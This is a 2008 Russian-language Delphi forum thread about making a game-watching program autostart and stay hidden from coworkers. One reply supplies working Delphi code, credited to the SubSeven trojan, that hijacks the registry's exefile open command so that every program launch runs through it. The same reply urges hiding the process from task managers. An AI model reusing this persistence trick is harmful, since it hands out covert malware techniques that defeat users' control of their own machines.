VPF::сделать так чтобы прога запускалось автоматически

mr_tg

Дата 10.5.2008, 12:49 (ссылка)

(нет голосов)

Загрузка ...

Шустрый

Профиль
Группа: Участник
Сообщений: 79
Регистрация: 29.3.2008

Репутация: нет
Всего: нет

[Delphi7]
здраствуйте! В кратце я создал маленкую програмку.Програмка смотрит не запустили ли Игру ZUMA или SOlO если запущена выдает сообшение.  Не хочу чтобы во времф работы атвликались на игры. (я не волшебник я только учусь)
я зделал его видным только через диспетчер задач (друзя подсказали).
я посадил ярлык этой проги на пуск\Программы\Автозагрузка что бы он запускался автоматом. человек который понемает компьютеры сразу находит и удаляет ярлык и всё прога не работает. мне надо както сделать так чтобы она запускалось автоматически и незаметно для глаз. И что бы видно было череч Дисптчер задач.
Если можно присылайте коды и проги на простом уровне  ато не стандартными функцими я не лажу.
(Вопрос модератору Alexeis если тему перемистили как его найти прошлый раз премистили мой вопрос я несмог его найти )
thanks for help smile

Akella

Дата 10.5.2008, 13:37 (ссылка)

(нет голосов)

Загрузка ...

Творец

Профиль
Группа: Модератор
Сообщений: 18485
Регистрация: 14.5.2003
Где: Корусант

Репутация: 36
Всего: 329

я не модератор Alexeis, но посоветую использовать поиск smile

, на этом форуме он работает, как ни странно

Добавлено через 46 секунд
используй реестр, поищи в инете автозапуск через реестр

THandle

Дата 10.5.2008, 14:01 (ссылка)

(нет голосов)

Загрузка ...

Хранитель Клуба
Group Icon

Награды: 1

Профиль
Группа: Админ
Сообщений: 3639
Регистрация: 31.7.2007
Где: Moscow, Dubai

Репутация: 65
Всего: 372

Код


uses Registry;

procedure RegistryRegistryRegistry;
begin
  with TRegistry.Create do
    begin
      RootKey := HKEY_LOCAL_MACHINE;
      OpenKey('Software\Microsoft\Windows\CurrentVersion\Run', true);
      WriteString('MySuperProgram', ParamStr(0));
      Free;
    end;
end;

Хотя конечно тоже найдут и убьют smile

source777

Дата 10.5.2008, 14:56 (ссылка)

(нет голосов)

Загрузка ...

Эксперт

Профиль
Группа: Завсегдатай
Сообщений: 1878
Регистрация: 12.3.2007

Репутация: 4
Всего: 56

Я поделюсь секретной инфой, впервые насколько известно летописи данный способ автозагрузки использовал троян SubSeven, если на компе нет проактивной защиты, то даже сверх-опытный пользователь не найдёт...

Код


procedure AutoRun(AppPatch: string); // AppPatch = ParamStr(0)
var Rg: TRegistry;
begin
  if AppPatch[1]<>'"' then AppPatch:='"'+AppPatch+'"';
  Rg:=TRegistry.Create;
    Rg.RootKey:=HKEY_CLASSES_ROOT;
    try
      Rg.OpenKey('exefile\shell\Open\Command',true);
      Rg.WriteString('', AppPatch+' "%1" %*');
      Rg.CloseKey;
    except end;
end;

P.S. И не забудь мьютекс поставить, чтобы твоя программа только 1 раз запускалась...

Цитата(mr_tg @ 10.5.2008, 12:49

)

я зделал его видным только через диспетчер задач (друзя подсказали).

Фигово друзья подсказали, надо чтобы вообще не видно было: ни в диспетчере задач, ни в аналогичных диспетчерах процессов...

Добавлено через 2 минуты и 30 секунд
P.S. Чуть не забыл, программу вызов которой подменяется на твою тоже надо вызвать:

Код


for i:=1 to ParamCount do
    param:=param+ParamStr(i)+' ';
if ParamCount>0 then WinExec(PChar(Param),SW_SHOW);

--------------------

Если бы программистам платили за то, чтобы убирать код из программы вместо того, чтобы добавлять его, программы были бы намного лучше © Николас Негропонте

Felan

Дата 12.5.2008, 09:28 (ссылка)

(нет голосов)

Загрузка ...

Опытный

Профиль
Группа: Участник
Сообщений: 284
Регистрация: 2.8.2007
Где: Самара

Репутация: 2
Всего: 7

Вообще-то если уж совсем хорошо делать, то надо делать сервис. Тогда в принципе можно запретить отключение этого сервиса. Еще, вроде можно на уровне системы запретить запуск определенных приложений, без всяких программ... но это уже админство.

Но от себя, не в тему, хочу сказать, что нельзя так с работками. Если работник не устраивает, надо менять, а если устраивает, то не надо лишать его маленьких радостей и отдыха, что бы немного отвлечься... Ну это ИМХО.

--------------------

// Любая сложная система - это темный лес. Каждый в этом лесу протаптывает свои тропинки, по ним и бегает. Лишь изредка, сходя с них, мы находим много интересного, а порою и страшного.

0 Пользователей читают эту тему (0 Гостей и 0 Скрытых Пользователей)
0 Пользователей:
« Предыдущая тема \| Delphi: Общие вопросы \| Следующая тема »